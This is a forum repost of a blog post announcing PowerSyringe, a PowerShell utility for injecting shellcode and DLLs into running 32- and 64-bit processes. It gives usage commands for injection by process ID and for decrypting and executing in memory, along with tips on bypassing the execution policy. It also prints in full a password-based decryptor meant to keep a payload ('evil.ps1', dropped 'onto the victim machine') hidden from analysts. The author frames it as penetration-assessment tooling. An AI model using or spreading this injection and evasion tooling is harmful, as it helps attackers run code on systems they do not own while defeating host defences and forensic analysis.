Jump to content
ionut97

PowerSyringe - PowerShell-based Code/DLL Injection Utility

Recommended Posts

Posted

Download Link: PowerSyringe.ps1

So I decided to expand upon my previous post and create a slightly more full-featured Powershell-based code/DLL injection utility. Behold, PowerSyringe. As the name implies, I based some of the code on the original Syringe toolkit. I added several features though - specifically, 64-bit support and encryption. Here is a rundown of its features:

Shellcode injection from within Powershell

Shellcode injection into any 32 or 64-bit process

DLL injection into any 32 or 64-bit process

Encryption - The script can encrypt itself and outputs the encrypted version to .\evil.ps1. This will make analysis of the script impossible/improbable without the correct password and salt (or if they happen to perform live memory forensics). >D

Decryption - evil.ps1 will decrypt itself back into its original form if you provide the right password and salt

Doesn't flag DEP b/c it doesn't execute in the stack

Fairly detailed documentation

I’ve tested the tool on several 32 and 64-bit platforms but I would love to get some feedback/feature requests. To execute the script, ensure that your execution policy allows you to execute scripts. If not, no worries. You can simply copy and paste the all of the code into a PowerShell prompt. Then you can run ‘help PowerSyringe -full’ for detailed documentation. There are several other methods for bypassing the execution policy. One of those methods is detailed here.

PowerSyringe.png

Here is an excerpt of the documentation with usage examples:

DLL Injection

C:\PS>PowerSyringe 1 4274 .\evil.dll

Description

Inject 'evil.dll' into process ID 4274.

Inject shellcode into process

C:\PS>PowerSyringe 2 4274

Description

Inject the shellcode as defined in the script into process ID 4274

Execute shellcode within the context of PowerShell

C:\PS>PowerSyringe 3

Description

Execute the shellcode as defined in the script within the context of Powershell.

Encrypt the script with the password:'password' and salt:'salty'

C:\PS>PowerSyringe 4 .\PowerSyringe.ps1 password salty

Description

Encrypt the contents of this file with a password and salt. This will make analysis of the script impossible without the correct password and salt combination. This command will generate evil.ps1 that can dropped onto the victim machine. It only consists of a decryption function 'de' and the base64-encoded ciphertext.

Note: This command can be used to encrypt any text-based file/script

Decrypt encrypted script and execute it in memory

C:\PS>[string] $cmd = Get-Content .\evil.ps1

C:\PS>Invoke-Expression $cmd

C:\PS>$decrypted = de password salt

C:\PS>Invoke-Expression $decrypted

Description

After you run the encryption option and generate evil.ps1 these commands will decrypt and execute

(i.e. define the function) PowerSyringe entirely in memory assuming you provided the proper password and salt combination.

Upon successful completion of these commands, you can execute PowerSyringe as normal.

Note: "Invoke-Expression $decrypted" may generate an error. Just ignore it. PowerSyringe will

still work.

This is what evil.ps1 will look like after the encryption function is called:

function de([String] $b, [String] $c)
{
# $a (encrypted PowerSyringe.ps1) truncated for sanity
$a = "M4g3yq9lTiMC+GTN2qNCRuUg1TFM8bgSvlxl/ENmXWpEIIgrdMq31/Jl025jClm9CcVZz7VIA40TV..."
$encoding = New-Object System.Text.ASCIIEncoding;
$dd = $encoding.GetBytes("CRACKMEIFYOUCAN!");
$aa = [Convert]::FromBase64String($a);
$derivedPass = New-Object System.Security.Cryptography.PasswordDeriveBytes($b, $encoding.GetBytes($c), "SHA1", 2);
[Byte[]] $e = $derivedPass.GetBytes(32);
$f = New-Object System.Security.Cryptography.RijndaelManaged;
$f.Mode = [System.Security.Cryptography.CipherMode]::CBC;
[Byte[]] $h = New-Object Byte[]($aa.Length);
$g = $f.CreateDecryptor($e, $dd);
$i = New-Object System.IO.MemoryStream($aa, $True);
$j = New-Object System.Security.Cryptography.CryptoStream($i, $g, [System.Security.Cryptography.CryptoStreamMode]::Read);
$r = $j.Read($h, 0, $h.Length);
$i.Close();
$j.Close();
$f.Clear();
return $encoding.GetString($h,0,$h.Length);
}

As you can see, the decryption script is slightly 'obfuscated' if you even want to call it that. It's pretty obvious that it decrypts the $a variable. Unfortunately, anyone performing analysis on this evil script will have no idea what the contents of $a are without the correct password and salt.

The primary reason I wrote this was because I had been using Syringe on assessments to bypass host-based IPS systems but I didn't like some of the limitations of Syringe (specifically, no 64-bit support) and I like the idea of performing everything in memory without needing to drop any executables. That being said, I welcome your constructive feedback.

Enjoy!

Source:Exploit Monday: PowerSyringe - PowerShell-based Code/DLL Injection Utility

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...